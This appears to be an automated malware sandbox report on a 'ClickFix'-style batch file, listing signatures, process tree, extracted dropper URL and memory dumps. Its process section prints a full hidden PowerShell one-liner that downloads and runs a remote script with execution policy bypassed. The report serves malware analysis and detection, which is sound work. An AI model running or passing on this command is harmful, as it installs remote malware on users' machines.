Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    27/08/2026, 12:24

General

  • Target
    clickfix_raw_user_input.bat
  • Size 127B
  • Sample260827-plergavake
  • SHA256 af10d2cebc826b4cff0610578e8a7bd021de7aeb91e7ed2b27fc27aa9e63cad2
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://v-k.com.ua/vcapcha.ps1

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\clickfix_raw_user_input.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:816
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('https://v-k.com.ua/vcapcha.ps1'))"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3392

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_ss4zs1wy.jnw.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ss4zs1wy.jnw.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/3392-1-0x000001D9A3DB0000-0x000001D9A3DC0000-memory.dmp

        memory/3392-0-0x000001D9A3DB0000-0x000001D9A3DC0000-memory.dmp

        memory/3392-9-0x000001D9A3D50000-0x000001D9A3D72000-memory.dmp

        memory/3392-10-0x000001D9A3DB0000-0x000001D9A3DC0000-memory.dmp